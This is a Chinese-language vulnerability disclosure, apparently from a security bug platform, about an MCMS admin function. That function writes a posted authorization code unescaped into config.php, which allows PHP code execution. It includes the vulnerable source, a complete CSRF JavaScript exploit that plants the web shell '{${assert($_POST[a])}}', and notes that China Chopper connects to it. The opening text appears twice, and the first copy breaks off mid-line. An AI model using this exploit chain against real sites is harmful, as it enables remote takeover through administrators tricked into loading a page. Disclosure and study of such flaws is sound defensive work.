### 简要描述: mcms后台某功能getshell,再加上后台没有验证token,所以可以通过csrf直接拿shell ### 详细说明: 先说说后台getshell吧。 后台文件auth.php是设置授权码的地方,我们看其中有一个函数: ``` function m__set_auth() { check_level("A0501"); $config ='../core/config.php'; $cf = file_get_contents($config); $code = isset($_POST['auth']) && !empty($_POST['auth'])?$_POST['auth']:''; if (AUTH_CODE != $_POST['auth']) { set_config('AUTH_CODE', $code, $cf); file_put_contents($config, $cf); } die('{"code":"0","msg":"成功设置授权码"}'); } ``` 验证权限后,获得$_POST[auth],如果与现有的AUTH_CODE不相等,就把$_POST[auth]写进去。我们再来到set_config函数,看是怎么写的: ``` function set_config($name, $value, &$file) { if (!isset($value)) $value = ''; if (preg_match('~"' . $name . '"~', $file)) { $file = preg_replace('~define\("' . $name . '"\s*,\s*"(.*)"\)\s*;~i', 'define("' . $name . '", "' . $value . '");', $file, 1); } else { $file .= chr(13) . chr(10) . 'define("' . $name . '","' . $value . '");'; } } ``` 我们看到,这里设置define里用的是双引号,这样就有了任意代码执行的条件。 比如我们写{${phpinfo()}}试试: [<img...
### 简要描述: mcms后台某功能getshell,再加上后台没有验证token,所以可以通过csrf直接拿shell ### 详细说明: 先说说后台getshell吧。 后台文件auth.php是设置授权码的地方,我们看其中有一个函数: ``` function m__set_auth() { check_level("A0501"); $config ='../core/config.php'; $cf = file_get_contents($config); $code = isset($_POST['auth']) && !empty($_POST['auth'])?$_POST['auth']:''; if (AUTH_CODE != $_POST['auth']) { set_config('AUTH_CODE', $code, $cf); file_put_contents($config, $cf); } die('{"code":"0","msg":"成功设置授权码"}'); } ``` 验证权限后,获得$_POST[auth],如果与现有的AUTH_CODE不相等,就把$_POST[auth]写进去。我们再来到set_config函数,看是怎么写的: ``` function set_config($name, $value, &$file) { if (!isset($value)) $value = ''; if (preg_match('~"' . $name . '"~', $file)) { $file = preg_replace('~define\("' . $name . '"\s*,\s*"(.*)"\)\s*;~i', 'define("' . $name . '", "' . $value . '");', $file, 1); } else { $file .= chr(13) . chr(10) . 'define("' . $name . '","' . $value . '");'; } } ``` 我们看到,这里设置define里用的是双引号,这样就有了任意代码执行的条件。 比如我们写{${phpinfo()}}试试: [<img src="https://images.seebug.org/upload/201405/10165957840bc7fc113c9337dbf7f336e49b60df.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/10165957840bc7fc113c9337dbf7f336e49b60df.jpg) 显示“成功设置授权码”,那么,我们访问/core/config.php看看: [<img src="https://images.seebug.org/upload/201405/10170032585e3304b17b9fbefb8bd0cc0cd1e7e6.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/10170032585e3304b17b9fbefb8bd0cc0cd1e7e6.jpg) 可以看到,已经执行了。 ### 漏洞证明: 再加上mcms后台操作没有csrf token,所以可以通过csrf来拿shell。 将如下代码保存到js中,插入某页面,诱导管理员访问: ``` gum = function(){ var u = { 'version':'1140213', 'domain':'{{domain}}', 'backinfo':{}, 'author': 'https://github.com/quininer/gum' }; u.e = function(code){try{return eval(code)}catch(e){return ''}}; u.name = function(names){ return document.getElementsByTagName(names); }; u.html = function(){ return u.name('html')[0] ||document.write('<html>') ||u.name('html')[0]; }; u.addom = function(html, doming, hide){ (!doming)&&(doming = u.html()); var temp = document.createElement('span'); temp.innerHTML = html; var doms = temp.children[0]; (hide)&&(doms.style.display = 'none'); doming.appendChild(doms); return doms; }; u.post = function(url, data){ var form = u.addom("<form method='POST'>", u.html(), true); form.action = url; for(var name in data){ var input = document.createElement('input'); input.name = name; input.value = data[name]; form.appendChild(input); }; form.submit(); }; return u; }(); gum.post('http://localhost/mcms/adm/auth.php?m=set_auth', { 'auth': '{${assert($_POST[a])}}' }); ``` 菜刀已经能连了,可以看到配置文件中,一句话已经安静地躺在那里了: [<img src="https://images.seebug.org/upload/201405/101737334ef8f7c7c7da5c87425b73efb0fc231f.jpg" alt="06.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/101737334ef8f7c7c7da5c87425b73efb0fc231f.jpg)